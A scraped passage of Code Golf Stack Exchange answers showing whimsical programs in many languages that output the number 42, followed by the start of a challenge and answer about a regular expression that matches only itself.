\\,X0Z0Z8\\@_8ZHZHX,"])?main(0,_ -32),main(Z+1,_):0:(putchar((_>>3)["kt" "wy~|tE/42"]-37),(_&7)?main(0,_-1):0);} ``` Output: ``` FFFFF OOOOO RRRR TTTTT Y Y TTTTT W W OOOOO F O O R R T Y Y T W W O O FFFF O O RRRR T Y T W W W O O F O O R R T Y T WW WW O O F OOOOO R R T Y T W W OOOOO ``` By the way, also check out my [text-to-speech](https://codegolf.stackexchange.com/a/22103/16504) answer. --- **Original Version:** ``` main(c,z,_){c==1?main(c+1,0,c^c):c==2? z=_["##$#%&#%#x'%%()&(%%x$%$((&(*%x'%" "%((&(+%x'#%((&(%#x"],z?z=='x'?main(4, _,c*5):main(c+1,z,0),main(c,z,_+1):0:c ==3?(_-2)==3?main(_-1,_,32):(main(c+1, c,((2+c)*(z-35)+_)["six*nine= { } " " ; _ ( ) [ 3 ]do {;=0xDA"]== 32?32:043),main(c,z,_+1)):putchar(_);} ``` The output is: ``` ##### ##### #### ##### # # ##### # # ##### # # # # # # # # # # # # # #### # # #### # # # # # # # # # # # # # # # # ## ## # # # ##### # # # # # # # ##### ``` Alternate spacing, if you're feeling tacky: ``` main(c ,z,_){c==01? main(c+ 1,0,c^c):c==2 ?z=_["#" "#$#%&#%#x'%%" "()&(%%x" "$%$(" "(&(""*%x" "'%%(" "(&(" "+%x" "'#%(" "(&(" "%#x" ],z ?z =='x'?main(4,_ ,c*5):main(c +1,z,0),main(c ,z,_+1):00:c ==3?(_+-2)==3? main(_-1,_, 32):( main( c+1,c ,((2+ c)*(z -35)+ _)["" "six" "*ni" "ne= { } " " ;" " _ ( " ") [" " 3 ]do {;"]== 32?32 :043),main(c,z ,_+1) ):putchar(_);} ``` The program is a single recursive statement. I made it in the style of my favorite obfuscated C program ever, [Twelve Days of Christmas](http://www.cise.ufl.edu/~manuel/obfuscate/xmas.c) (compile, prepare mind to be blown, run). --- ## HOW TO Also, since this seems as good a place as any, here is a guide describing how to make this type of program. *This guide uses the original version above as an example.* Aside from the first bit with the block letters, they are general steps: **INITIAL:** First, I started by making the block letters: ``` ##### ##### #### ##### # # ##### # # ##### # # # # # # # # # # # # # #### # # #### # # # # # # # # # # # # # # # # ## ## # # # ##### # # # # # # # ##### ``` I then made a numbered list of the unique patterns in each 5-column character row: ``` 0: ***** 1: **** 2: * * 3: 4: * 5: * 6: * * 7: * * * 8: ** ** ``` And so each of the 5 pixel rows of text becomes a series of 9 numbers: ``` 00000 00000 11111 00000 22222 33333 00000 22222 00000 44444 22222 22222 55555 66666 33333 55555 22222 22222 11111 22222 11111 55555 55555 33333 55555 77777 22222 44444 22222 22222 55555 55555 33333 55555 88888 22222 44444 00000 22222 55555 55555 33333 55555 22222 00000 ``` For obfuscation (and ease of programming) we add the '#' character to the numbers. In the program below, `patterns` is the array of pixel patterns, and `lines` is the obfuscated array of pattern codes for each line, terminated by an 'x'. For further obfuscation we define "on" pixels in `patterns` to be any character that isn't a space; this lets us put more misleading text in `pattern`: ``` #include <stdio.h> char pattern[] = "six*n" "ine= " "{ }" " " "; " " _ " " ( ) " "[ 3 ]" "do {;"; char lines[] = "##$#%&#%#x" "'%%()&(%%x" "$%$((&(*%x" "'%%((&(+%x" "'#%((&(%#x"; void printpattern (char c) { int n; for (n = 0; n < 5; ++ n) putchar(pattern[5*(c-'#') + n]==32?32:'#'); putchar(' '); } int main () { char *ptr = lines; while (*ptr) { while (*ptr != 'x') printpattern(*(ptr++)); putchar('\n'); ++ ptr; } } ``` **STEP 1:** The next step involves a few tasks: * Remove all loops and use recursion. * Change all functions (except main) to the form `int function (int, int)` and use the same parameter names for each. The reasons will become clear later. * Change `main` to the form `int main (int, int, int)` and name the last two parameters the same as your function parameter names. * Replace all references to string constants with the strings themselves; and use each string only once if possible. * The include can be removed; it's unnecessary for `int putchar (int)`. We can also take advantage of the weird C feature where `a[b]` is equivalent to `b[a]` to obfuscate further. ``` int printpattern (int z, int _) { if (_==5) putchar(' '); else{ putchar((5*(z-'#') + _)["six*nine= { } ; _ ( ) [ 3 ]do {;"]==32?32:'#'); printpattern(z, _+1); } return 0; } // z ignored, _ is index int printtext (int z, int _) { z = _["##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x"]; if (z) { if (z == 'x') putchar('\n'); else printpattern(z, 0); printtext(z, _ + 1); // first parameter arbitrary } return 0; } int main (int c, int z, int _) { printtext(0, 0); } ``` **STEP 2:** Next, make use of the `?:` and `,` operators to transform each function into a single `return` statement. I'm illustrating this separately from the above because this is where things start getting confusing to look at. Remember that `putchar()` returns an `int`, and `?:` takes precedence over `,`: ``` int printpattern (int z, int _) { return _==5 ? putchar(' ') : (putchar((5*(z-'#') + _)["six*nine= { } ; _ ( ) [ 3 ]do {;"]==32?32:'#'), printpattern(z, _+1)); } // z ignored, _ is index int printtext (int z, int _) { return z = _["##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x"], z ? z == 'x' ? putchar('\n') : printpattern(z, 0) , printtext(z, _ + 1) : 0; } int main (int c, int z, int _) { printtext(0, 0); } ``` **STEP 3:** Ok. The next step is a big one. All of the functions are now a single statement of the same form. We can now combine them all into a single function, identifying each one by a number -- essentially turning the entire program into a single recursive function. Note that the first parameter to `main` will be 1 when the program is run with no arguments, so that should be our initial state. Also, since our parameter `c` to `main` is our state variable, we know its value at all times, and we can obfuscate a little further by replacing integer constants with their values in terms of `c` (for example, when we know `c` is 2, we can replace 5 with `c+3`). Other little obfuscations can be done too (e.g. I replaced `'#'` with `35` and `043`): ``` int main (int c, int z, int _) { switch (c) { case 1: // main return main(c+1, 0, c^c); // (2, 0, 0) case 2: // printtext return z = _["##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x"], z ? z == 'x' ? putchar('\n') : main(c+1, z, 0) // c+1==3 , main(c, z, _ + 1) : 0; case 3: // printpattern return (_-2)==3 ? // _==5 putchar(' ') : (putchar(((2+c)*(z-35) + _)["six*nine= { } ; _ ( ) [ 3 ]do {;"]==32?32:043), main(c, z, _+1)); } } ``` **STEP 4:** Finally, remove the `switch` block by using a series of `?:` operators. We can also remove the `int` declarations, since C will use them by default, as well as the `return` itself (which will generate a warning at worst). After this, our program is a single, recursive function with one statement. Pretty cool, right? Edit: I replaced `putchar()` with a `main` and `c==4` below; because I just thought of it at the last minute: ``` main (c, z, _) { c == 1 ? main(c+1, 0, c^c) : c == 2 ? z = _["##$#%&#%#x'%%()&(%%x$%$((&(*%x'%%((&(+%x'#%((&(%#x"], z ? z == 'x' ? main(4,_,c*5) : main(c+1, z, 0) , main(c, z, _ + 1) : 0 : c==3 ? (_-2)==3 ? main(_-1,_,32) : (main(c+1,c,((2+c)*(z-35) + _)["six*nine= { } ; _ ( ) [ 3 ]do {;"]==32?32:043), main(c, z, _+1)) : // c==4 putchar(_); } ``` If you want to add a little flair, you can use more interesting numbers for `c` and even base the checks off of other numbers (e.g. for the `c==2` case, `z` is ignored and available, so instead of calling `main(2,z,_)` you could call `main(-97,_,_)` and replace `c==2` with `c<-z`). Be creative; the possibilities are endless. **FINISH:** The final step, then, is to arrange the text in some creative pattern, and voila! You can adjust the code a little to help with formatting (e.g. I added some extra data at the end of the `patterns` string in the posted program to help get the line length right). [The ladies are sure to be all up ons.](http://www.homestarrunner.com/sbemail122.html) [Answer] I'm feeling lazy. # Python ``` t h e a n s w e r t o l i f e t h e u n i v e r s e a n d e v e r y t h i n g: ``` Output: ``` File "golf.py", line 42 g: ^ SyntaxError: invalid syntax ``` [Answer] # Java **(or C++, the code's almost similar)** Using String functions, so don't forget to include your library! P.S. I know it's lengthy, but it's supposed to be creative, right? And anyway, it isn't a "lowest-byte-wins". ``` String s = "Hitchhiker's Guide to the Galaxy"; String s2 = "Don'tPanic"; String s3 = "The Restaurant at the End of the Universe."; int arthur_dent = s.length(); int ford_prefect = s2.length(); int zooey_deschanel = s3.length(); int vogon_poetry = arthur_dent + ford_prefect; System.out.println(" " + vogon_poetry + " " + zooey_deschanel + " " + zooey_deschanel); //in case you're confused, I'm using Zooey to print the big '2', and Vogons to print the big '4'. System.out.println(" " + vogon_poetry + vogon_poetry + " " + zooey_deschanel + " " + zooey_deschanel); System.out.println(" " + vogon_poetry + " " + vogon_poetry + " " + zooey_deschanel + " " + zooey_deschanel); System.out.println(" " + vogon_poetry + " " + vogon_poetry + " " + zooey_deschanel); System.out.println(" " + vogon_poetry + " " + vogon_poetry + " " + zooey_deschanel); System.out.println(vogon_poetry + " " + vogon_poetry + " " + vogon_poetry + " DA " + vogon_poetry + " " + zooey_deschanel); System.out.println(" " + vogon_poetry + " " + zooey_deschanel); System.out.println(" " + vogon_poetry + " " + zooey_deschanel + " " + zooey_deschanel + " " + zooey_deschanel + " " + zooey_deschanel); ``` Here's the output: ``` 42 42 42 4242 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 DA 42 42 42 42 42 42 42 42 42 ``` Imagine my misery when I counted and found out that "The Restaurant at the End of the Universe" had *41* characters! :/ Sigh. [Answer] # Mathematica ## Take 1 With some work, I ought be able to golf this down a bit. :) In `InputForm`: ``` answer[ultimateQuestion[Life,theUniverse,Everything]] = Times[Plus[-1,Limit[Power[Plus[1,Times[Complex[0,1], Power[n,-1],Pi]],n],Rule[n,DirectedInfinity[1]]]],Sqrt[-1]^2, Times[Rational[1,2],Plus[-1,Fibonacci[4]],Fibonacci[2]], Binomial[3,2],LucasL[4]] ``` In `TraditionalForm`: ![forty two](https://i.stack.imgur.com/6PTyv.png) Testing: ``` answer[ultimateQuestion[Life,theUniverse,Everything]] ``` > > 42 > > > --- ## Take 2 Note: The numerals were made as follows. * "42" was first printed on the screen in very large font, axes displayed, so that the coordinates of the key points could be identified. * Another "4" was drawn a broad straight lines connecting the respective key points. It was superimposed on the previously drawn "4" to check for accuracy. The "2" was drawn as a BSpline curve. Some of the key points, which were now control points, had to be set in position by trial and error to get the desired curves. * An third coordinate (always zero) was added to the line and BSplineCurve to enable 3D display. --- ``` answer[ultimateQuestion[Life,theUniverse,Everything]] = Table[With[{v = RotationTransform[θ, {0, 0, 1}][{3, 0, -.2}]}, Graphics3D[{Thickness[.06], CapForm["Round"], Tube[Line[{{-67, 0, -44}, {-30, 0, -44}}], 10], Tube[ Line[{{-25, 0, -12}, {-100, 0, -12}, {-52, 0, 70}, {-45, 0, 70}, {-45, 0, -43}}], 10], Tube[BSplineCurve[l = {{27, 0, 52}, {27, 0, 57}, {57, 0, 85}, {113, 0, 40}, {12, 0, -45}, {35, 0, -45}, {90, 0, -45}, {90, 0, -45}, {92, 0, -35}}], 10]}, Boxed -> False, PlotRange -> 100, ImageSize -> 250, SphericalRegion -> True, ViewPoint :> v, PlotRangePadding -> 10]],(*{θ,0,2Pi,Pi/24},*){θ, -Pi/2, -Pi/2 + 2 Pi, Pi/24}] Export["theMeaningOfLife.gif", answer[ultimateQuestion[Life,theUniverse,Everything]] ] ``` ![take 2](https://i.stack.imgur.com/u8Iot.gif) [Answer] Seems appropriate: ``` grep -i "DON'T" /bin/lesspipe | wc -l ; grep -i "PANIC" /usr/share/pyshared/mx/Log.py | head -n 1 | cut -d '=' -f 2 | tr -d ' ' ``` Output: ``` 4 2 ``` Ubuntu 12.04, 64-bit Desktop [Answer] ## Windows calculator Multiplying **Pi** with **13.37** and ignoring the decimal `:P` ![Forty-Two](https://i.stack.imgur.com/kJLLe.png) [Answer] # Python I guess it only works on Windows 7. ``` import win32api, win32con, win32gui from time import time, sleep import os w = { 1:[(358, 263), (358, 262), (358, 261), (359, 261), (359, 262), (359, 264), (359, 266), (359, 270), (359, 282), (358, 289), (357, 308), (356, 319), (355, 341), (355, 351), (355, 360), (355, 378), (355, 388), (354, 397), (354, 406), (354, 422), (354, 428), (354, 436), (354, 438), (354, 439), (354, 440), (355, 440), (356, 439), (357, 439), (358, 438), (360, 438), (362, 437), (369, 437), (372, 437), (381, 437), (386, 437), (391, 437), (397, 436), (411, 436), (419, 435), (434, 435), (442, 435), (449, 434), (456, 434), (468, 434), (473, 435), (480, 436), (483, 436), (485, 436), (487, 437), (488, 437), (488, 438), (488, 439), (487, 440), (486, 440), (485, 440), (484, 440), (483, 439), (483, 437), (481, 431), (481, 427), (481, 420), (481, 413), (483, 396), (485, 387), (488, 367), (491, 356), (493, 345), (500, 321), (503, 310), (507, 299), (514, 280), (517, 272), (520, 266), (523, 260), (524, 258), (524, 259), (524, 261), (524, 265), (524, 269), (523, 275), (522, 289), (521, 297), (518, 315), (516, 324), (515, 334), (513, 345), (509, 368), (507, 382), (502, 411), (500, 426), (498, 440), (495, 453), (491, 478), (489, 491), (485, 517), (483, 530), (481, 542), (479, 552), (476, 570), (475, 577), (474, 588), (473, 592), (473, 595), (473, 597), (473, 600), (473, 601), (473, 602), (473, 601), (474, 599), (475, 597), (476, 594), (478, 587)], 2:[(632, 305), (634, 306), (636, 309), (639, 314), (641, 319), (645, 330), (647, 337), (649, 353), (649, 362), (649, 372), (649, 384), (645, 409), (639, 436), (636, 448), (632, 459), (627, 470), (623, 479), (613, 497), (608, 503), (599, 512), (595, 514), (591, 514), (587, 513), (581, 504), (578, 498), (576, 483), (575, 476), (575, 469), (579, 454), (582, 447), (591, 436), (595, 432), (600, 430), (605, 429), (617, 432), (624, 437), (639, 448), (646, 455), (654, 461), (662, 469), (679, 484), (686, 491), (702, 504), (710, 509), (718, 512), (727, 514), (744, 515), (752, 515), (767, 512), (774, 510), (779, 508), (783, 505), (788, 499), (789, 495), (789, 486)] } def d( x1, y1, x2, y2 ): win32api.SetCursorPos((x1, y1)) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) win32api.SetCursorPos((x2, y2)) win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) sleep(0.01) def p( l1 ): l2 = [""] l2.extend(l1) l1.append("") l3 = zip(l2, l1) l3.pop(0) l3.pop(-1) for n in l3: d(n[0][0], n[0][1], n[1][0], n[1][1]) os.startfile("C:\Windows\system32\mspaint.exe") sleep(0.5) win32gui.ShowWindow(win32gui.GetForegroundWindow(), win32con.SW_MAXIMIZE) sleep(0.5) for n in w: p(w[n]) ``` The result is opening [Paint](http://en.wikipedia.org/wiki/Paint_%28software%29) and painting 42 as free hand. ![42](https://i.stack.imgur.com/1j0va.png) [Answer] ## Java (Swing) This will display a frame drawing **the answer**. It only uses `42` for values. ``` public class FourtyTwo{ public static void main(String[]args) { new javax .swing. JFrame () {{ setSize (42 /( 42/42 +42/42) *42/ ( 42/42 +42/42) ,42/(42/ 42+42/42)* 42/(42/42+42/42)); }public void paint( java.awt .Graphics g){g.drawPolygon( new int[]{42,42,42 + 42+ 42,42+ 42+42 ,42+42 +42 + 42,42+ 42+42 +42,42 + 42+ 42,42+42+42,42+42, 42+42 },new int[]{42,42+ 42+42 +42,42+42+42+42,42 +42+42+42+42+42, 42+42+ 42+42+42+42,42,42, 42+42+42 ,42 + 42+42 ,42}, (42/ 42+42 /42)* (42/ 42 + 42/42 + 42/ 42 + 42 / 42+42 /42)) ;g.drawPolygon ( new int[] {42+42+42+42+42, 42+42 +42 + 42+42 , 42+ 42+42 + 42+ 42+42 + 42, 42+42 +42 + 42+42 +42 + 42,42+42+42+42+42, 42+42 + 42+ 42+42,42+ 42+42+ 42+42 +42 + 42+42,42+42+42+42+42+42+42+42,42+42+42+42+42+42, 42+42+42+42+42+42,42+42+42+42+42+42+42+42,42+42+ 42+42+42+42+42+42},new int[]{42,42 +42,42+42,42+ 42+42,42+42+42,42+42+42+42+42+42,42+42+42+42+42+ 42,42+42+42+42+42,42+42+42+42+42,42+42+42+42,42+ 42+42+42,42},(42/42+42/42+42/42)*((42/42+42/42)* (42/42+42/ 42)));};}.setVisible(42*42*42!=42);}} ``` [Answer] ### Mathematica ``` WolframAlpha["meaning of life", {{"Result", 1}, "Content"}] ``` > > 42 > > > though I think it's cheating, really, since it's hard-coded. And not very creative, on my part... :) [Answer] ## Ruby It is well known what you get [if you multiply six by nine](https://en.wikipedia.org/w/index.php?title=Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy&oldid=596276371#Answer_to_the_Ultimate_Question_of_Life.2C_the_Universe.2C_and_Everything_.2842.29). This gives one solution: ``` puts (6 * 9).to_s(13) ``` --- ## Python A variant of [Tupper's self-referential formula](https://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula): ``` # Based loosely on http://www.pypedia.com/index.php/Tupper_self_referential_formula k = 17 * ( (2**17)**0 * 0b11100000000000000 + (2**17)**1 * 0b00100000000000000 + (2**17)**2 * 0b00100000000000000 + (2**17)**3 * 0b11111000000000000 + (2**17)**4 * 0b00100000000000000 + (2**17)**5 * 0b00000000000000000 + (2**17)**6 * 0b01001000000000000 + (2**17)**7 * 0b10011000000000000 + (2**17)**8 * 0b10011000000000000 + (2**17)**9 * 0b01101000000000000 + 0) # or if you prefer, k=int('4j6h0e8x4fl0deshova5fsap4gq0glw0lc',36) def f(x,y): return y // 17 // 2**(x * 17 + y % 17) % 2 > 0.5 for y in range(k + 16, k + 11, -1): print("".join(" @"[f(x, y)] for x in range(10))) ``` Output: ``` @ @ @@ @ @ @ @ @@@@@ @ @ @@ @ @@@@ ``` [Answer] **Javascript** ``` alert((!![]+ -~[])*(!![]+ -~[])+""+(!![]+ -~[])) ``` [Answer] # LMGTFY <http://bit.ly/1ldqJ8w> Short enough that I had to type this to reach the minimum character count... [Answer] Forth: ``` SCR # 1 0 ( FORTY-TWO @ ES-FORTH ) 1 HEX 0 24 -31 21 -31 31 -31 2 31 -14 51 11 -11 51 11 -11 23 31 3 : T SWAP 0 DO DUP EMIT LOOP DROP ; 4 : K BEGIN DUP WHILE DUP 0< IF CR 5 ABS THEN 10 /MOD 20 T A0 T 6 REPEAT DROP ; 7 K CR ``` That 1 LOAD outputs: ``` █ ███ █ █ █ █ █ █ ████ █ █ █ █ █ █ ████ ``` [Answer] # C++ ``` cout<<"....-"<<" "<<"..---"; ``` Morse code ;) [Answer] # R ``` sum(as.numeric(factor(unlist(strsplit(gsub(" |[.]","","D. ADAMS"),"")),levels=LETTERS))) ``` Result: ``` 42 ``` [Answer] **Java** ``` public class MainProgram { public static void main(String[] args) { int[] the = { 'T', 'h', 'e' }; int[] most = { 'M', 'o', 's', 't' }; int[] creative = { 'C', 'r', 'e', 'a', 't', 'i', 'v', 'e' }; int[] way = { 'W', 'a', 'y' }; int question = '?'; double x = -3.18906605923E-2; int The = 0; int Most = 0; int Creative = 0; int Way = 0; for(int i : the) { The += i; } for(int i : most) { Most += i; } for(int i : creative) { Creative += i; } for(int i : way) { Way += i; } System.out.println((int)((The*x)-(Most*x)-(Creative*x)-(Way*x)-(question*x))); }//SSCE }//good1 ``` Output: > > 42 > > > [Answer] SWI-Prolog, anyone? ``` ?- X. ``` Output: ``` % ... 1,000,000 ............ 10,000,000 years later % % >> 42 << (last release gives the question) ``` This is even lazier than the Mathematica-calling-Wolfram-Alpha one, but hey! [Answer] # Linux shell Here’s something I wrote in 1999 and used as my Usenet signature back then. ``` echo "what is the universe"|tr "a-z " 0-7-0-729|sed 's/9.//g;s/-/+/'|bc ``` **Edit:** Ha! This was the 42nd answer. [Answer] **PHP version:** ``` echo strlen("Douglas Adams")+strlen("born on")+array_sum(array(1,1,0,3,1,9,5,2)); /* array(1,1,0,3,1,9,5,2) => March 11, 1952 */ ``` **JavaScript version:** ``` console.log("Douglas Adams".length + "born on".length + [1,1,0,3,1,9,5,2].reduce(function(previousValue, currentValue, index, array){return previousValue + currentValue;})); /* [1,1,0,3,1,9,5,2] => March 11, 1952 */ ``` **Output:** ``` 42 ``` [Answer] # dc ``` $ dc <<< "1 8 sc 1 5 lc *++p" 42 ``` Trying to multiply `1+8` and `5+1` to get `42`. It looks like that ignorance of operator precedence led to `42`. --- # Python ``` >>> p = lambda x: x%2!=0 and True<<x >>> sum(p(i) for i in range(0,6)) ``` Output: `42` --- [Answer] ## Brainf\*\*k ``` - [ -- - - - >+<] >+ . --. ``` [Answer] # C++ ``` #include<iostream> #include<conio.h> using namespace std; int main() { cout<<(char)32<<(char)32<<(char)32; cout<<(char)66<<(char)73<<(char)82; cout<<(char)84<<(char)72<<(char)32; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)68<<(char)69; cout<<(char)65<<(char)84<<(char)72; cout<<(char)32<<(char)32<<'\n'; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)32<<(char)95; cout<<(char)95<<(char)95<<(char)32; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)95<<(char)95; cout<<(char)95<<(char)95<<(char)95; cout<<(char)95<<(char)32<<'\n'; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)47<<(char)32; cout<<(char)32<<(char)32<<(char)124; cout<<(char)32<<(char)32<<(char)32; cout<<(char)124<<(char)32<<(char)32; cout<<(char)95<<(char)95<<(char)32; cout<<(char)32<<(char)124<<'\n'; cout<<(char)32<<(char)32<<(char)32; cout<<(char)47<<(char)32<<(char)47; cout<<(char)124<<(char)32<<(char)124; cout<<(char)32<<(char)32<<(char)32; cout<<(char)124<<(char)95<<(char)124; cout<<(char)32<<(char)32<<(char)124; cout<<(char)32<<(char)124<<'\n'; cout<<(char)32<<(char)32<<(char)47; cout<<(char)32<<(char)47<<(char)32; cout<<(char)124<<(char)49<<(char)124; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)32<<(char)47; cout<<(char)50<<(char)124<<'\n'; cout<<(char)32<<(char)47<<(char)32; cout<<(char)47<<(char)32<<(char)32; cout<<(char)124<<(char)57<<(char)124; cout<<(char)32<<(char)32<<(char)32; cout<<(char)84<<(char)79<<(char)32; cout<<(char)32<<(char)47<<(char)48; cout<<(char)47<<(char)32<<'\n'; cout<<(char)47<<(char)32<<(char)47; cout<<(char)95<<(char)95<<(char)95; cout<<(char)124<<(char)53<<(char)124; cout<<(char)95<<(char)95<<(char)32; cout<<(char)32<<(char)32<<(char)32; cout<<(char)47<<(char)48<<(char)47; cout<<(char)32<<(char)32<<'\n'; cout<<(char)124<<(char)95<<(char)95; cout<<(char)95<<(char)95<<(char)95; cout<<(char)124<<(char)50<<(char)124; cout<<(char)95<<(char)95<<(char)124; cout<<(char)32<<(char)32<<(char)47; cout<<(char)49<<(char)47<<(char)32; cout<<(char)32<<(char)32<<'\n'; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)32<<(char)32; cout<<(char)124<<(char)32<<(char)124; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)47<<(char)32; cout<<(char)47<<(char)32<<(char)32; cout<<(char)32<<(char)32<<'\n'; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)32<<(char)32; cout<<(char)124<<(char)32<<(char)124; cout<<(char)32<<(char)32<<(char)32; cout<<(char)47<<(char)32<<(char)47; cout<<(char)95<<(char)95<<(char)95; cout<<(char)95<<(char)32<<'\n'; cout<<(char)32<<(char)32<<(char)32; cout<<(char)32<<(char)32<<(char)32; cout<<(char)124<<(char)95<<(char)124; cout<<(char)32<<(char)32<<(char)124; cout<<(char)95<<(char)95<<(char)95; cout<<(char)95<<(char)95<<(char)95; cout<<(char)95<<(char)124<<'\n'; getch(); return 0; } ``` ## output ![enter image description here](https://i.stack.imgur.com/r8iXu.png) [Answer] # JavaScript ``` window.location = "https://www.google.nl/search?q=the+answer+to+life+the+universe+and+everything"; ``` Outputs `42`. [Answer] # J Symmetric one-liner without alphanumeric chars. ``` _<.>.>_ (=(+^:]) ~=(-*-)=~ ([:^+)=) _<.<.>_ ``` Outputs 42. The main computation is: > > ceiling( 1 + ( 1 - e ^ 2 ) ^ 2 ) = 42 > > > [Answer] ## JavaScript The ASCII code for `*`, which for most programmers stands for "everything", is 42. `+!"The End of the Universe"` evaluates to 0. ``` String.prototype.answer = function() { alert(this.charCodeAt(+!"The End of the Universe")); }; '*'.answer(); ``` [Answer] ## PHP Ask WolframAlpha. Here's some code that uses the WolframAlpha API to retrieve the result of a specific search query: ``` <?php $searchTerm = "What's the answer to life, universe and everything?"; $url = 'http://api.wolframalpha.com/v2/query?appid=APLTT9-9WG78GYE65&input='.urlencode($searchTerm); $xml = file_get_contents($url); $xmlObj = simplexml_load_string($xml); $plaintext = $xmlObj->xpath('//plaintext')[1]; $answer = preg_replace('/\D/', '', $plaintext); echo $answer; ``` Output: ``` 42 ``` ### [Working demo](http://codepad.viper-7.com/BaDGtg) ]
[Question] [ There are some pretty cool challenges out there involving regex ([Self-matching regex](https://codegolf.stackexchange.com/questions/6798/self-matching-regex), [Regex validating regex](https://codegolf.stackexchange.com/questions/3596/regex-validating-regex)) This may well be impossible, but is there a regex that will ONLY match itself? NOTE, delimiters must be included: for example `/thing/` must match `/thing/` and not `thing`. The only match possible for your expression must be the expression itself. Many languages allow the implementation of a string in the place of a regular expression. [For instance in Go](http://play.golang.org/p/piOS51rL8k) ``` package main import "fmt" import "regexp" func main() { var foo = regexp.MustCompile("bar") fmt.Println(foo.MatchString("foobar")) } ``` but for the sake of the challenge, let the expression be delimited (starting symbol, expression, ending symbol ex: `/fancypantpattern/` or `@[^2048]@`), if you want to argue quotes as your delimiter, so be it. I think given the apparent difficulty of this problem it won't make much of a difference. ## To help you along: Quick hack I put together for [rubular.com](http://rubular.com/) (a webpage for ruby regex editing): ``` var test = document.getElementById("test") ,regex = document.getElementById("regex") ,delimiter="/" ,options = document.getElementById("options") ,delay = function(){test.value = delimiter + regex.value + delimiter + options.value} ,update = function(e){ // without delay value = not updated value window.setTimeout(delay,0); } regex.onkeydown = update; options.onkeydown = update; ``` Even though this is technically 'code golf' I will be very impressed if anyone can find an answer/ prove it is impossible. **Link is now fixed. Sorry to all** Winning answer thus far: [jimmy23013 with 40 characters](http://regex101.com/r/pF1gF4) [Answer] ## PCRE flavor, 261 289 210 184 127 109 71 53 51 44 40 bytes Yes, it is possible! ``` <^<()(?R){2}>\z|\1\Q^<()(?R){2}>\z|\1\Q> ``` [Try it here.](https://regex101.com/r/mF1mW6/12) (But `/` is shown to be the delimiter on Regex101.) Please refrain from making unnecessary edits (updates) on the Regex101 page. If your edit doesn't actually involve improving, trying or testing this regex, you could fork it or create new ones from [their homepage](https://regex101.com/). The version works more correctly on Regex101 (44 bytes): ``` /^\/()(?R){2}\/\z|\1\Q^\/()(?R){2}\/\z|\1\Q/ ``` [Try it here.](https://regex101.com/r/mF1mW6/9) This is much simpler than the original version and works more like a traditional quine. It tries to define a string without using it, and use it in a different place. So it can be placed very close to one end of the regex, to reduce the number of characters needing more characters to define the matching pattern and repeated more times. Explanations: * `\Q^\/()(?R){2}\/\z|\1\Q` matches the string `^\/()(?R){2}\/\z|\1\Q`. This uses a quirk that `\Q...\E` doesn't have to be closed, and unescaped delimiters work in `\Q`. This made some previous versions work only on Regex101 and not locally. But fortunately the latest version worked, and I golfed off some more bytes using this. * `\1` before the `\Q` matches the captured group 1. Because group 1 doesn't exist in this option, it can only match in recursive calls. In recursive calls it matches empty strings. * `(?R){2}` calls the whole regex recursively twice, which matches `^\/()(?R){2}\/\z|\1\Q` for each time. * `()` does nothing but capture an empty string into group 1, which enables the other option in recursive calls. * `^\/()(?R){2}\/\z` matches `(?R){2}` with delimiters added, from the beginning to the end. The `\/` before the recursive calls also made sure this option itself doesn't match in recursive calls, because it won't be at the beginning of the string. 51 bytes with closed `\Q...\E`: ``` /\QE\1|^\/(\\)Q(?R){2}z\/\E\1|^\/(\\)Q(?R){2}z\/\z/ ``` [Try it here.](https://regex101.com/r/mF1mW6/8) ### Original version, 188 bytes Thanks to Martin Büttner for golfing off about 100 bytes! ``` /^(?=.{173}\Q\2\)){2}.{11}$\E\/\z)((?=(.2.|))\2\/\2\^\2\(\2\?=\2\.\2\{173}\2\\Q\2\\2\2\\\2\)\2\)\2\{2}\2\.\2\{11}\2\$\2\\E\2\\\2\/\2\\z\2\)\2\(\2\(\2\?=\2\(\2\.2\2\.\2\|\2\)\2\)){2}.{11}$/ ``` [Try it here.](https://regex101.com/r/pF1gF4/8) Or 210 bytes without `\Q...\E`: ``` /^(?=.{194}\\2\\.\)\{2}\.\{12}\$\/D$)((?=(.2.|))\2\/\2\^\2\(\2\?=\2\.\2\{194}\2\\\2\\2\2\\\2\\\2\.\2\\\2\)\2\\\2\{2}\2\\\2\.\2\\\2\{12}\2\\\2\$\2\\\2\/D\2\$\2\)\2\(\2\(\2\?=\2\(\2\.2\2\.\2\|\2\)\2\)){2}.{12}$/D ``` [Try it here.](https://regex101.com/r/pF1gF4/6) Expanded version: ``` /^(?=.{173}\Q\2\)){2}.{11}$\E\/\z) # Match things near the end. ((?=(.2.|)) # Capture an empty string or \2\ into group 2. \2\/\2\^\2\(\2\?=\2\.\2\{173}\2\\Q\2\\2\2\\\2\)\2\)\2\{2}\2\. \2\{11}\2\$\2\\E\2\\\2\/\2\\z\2\) # 1st line escaped. \2\(\2\(\2\?=\2\(\2\.2\2\.\2\|\2\)\2\) # 2nd line escaped. ){2} .{11}$/x ``` Extensions like `(?=` and `\1` have made the so-called "regular" expressions no longer regular, which also makes quines possible. Backreference is not regular, but lookahead is. Explanation: * I use `\2\` in place of `\` to escape special characters. If `\2` matches the empty string, `\2\x` (where `x` is a special character) matches the `x` itself. If `\2` matches `\2\`, `\2\x` matches the escaped one. `\2` in the two matches of group 1 can be different in regex. In the first time `\2` should match the empty string, and the second time `\2\`. * `\Q\2\)){2}.{11}$\E\/\z` (line 1) matches 15 characters from the end. And `.{11}$` (line 7) matches 11 characters from the end (or before a trailing newline). So the pattern just before the second pattern must match the first 4 or 3 characters in the first 